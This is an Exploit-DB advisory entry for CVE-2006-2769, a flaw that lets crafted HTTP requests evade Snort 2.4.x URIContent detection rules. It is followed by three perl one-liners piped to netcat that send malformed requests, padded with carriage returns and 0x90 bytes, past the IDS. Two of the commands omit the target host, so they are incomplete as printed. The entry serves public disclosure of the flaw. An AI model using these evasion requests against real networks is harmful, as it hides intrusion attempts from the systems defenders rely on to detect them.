Snort 2.4.x URIContent Rules Detection Evasion Vulnerability

ID EDB-ID:27931
Type exploitdb
Reporter Blake Hartstein
Modified 2006-05-31T00:00:00


Snort 2.4.x URIContent Rules Detection Evasion Vulnerability. CVE-2006-2769. Remote exploits for multiple platform


Snort is reportedly prone to a vulnerability that may allow malicious packets to bypass detection. 

A successful attack can allow attackers to bypass intrusion detection and to carry out attacks against computers protected by Snort.

This vulnerability affects Snort 2.4.4. Other versions may be vulnerable as well.

perl -e'print "GET /|backdoor\r http/1.0\r\n\r\n"'|nc vulnerable.server 80

perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 80

perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 80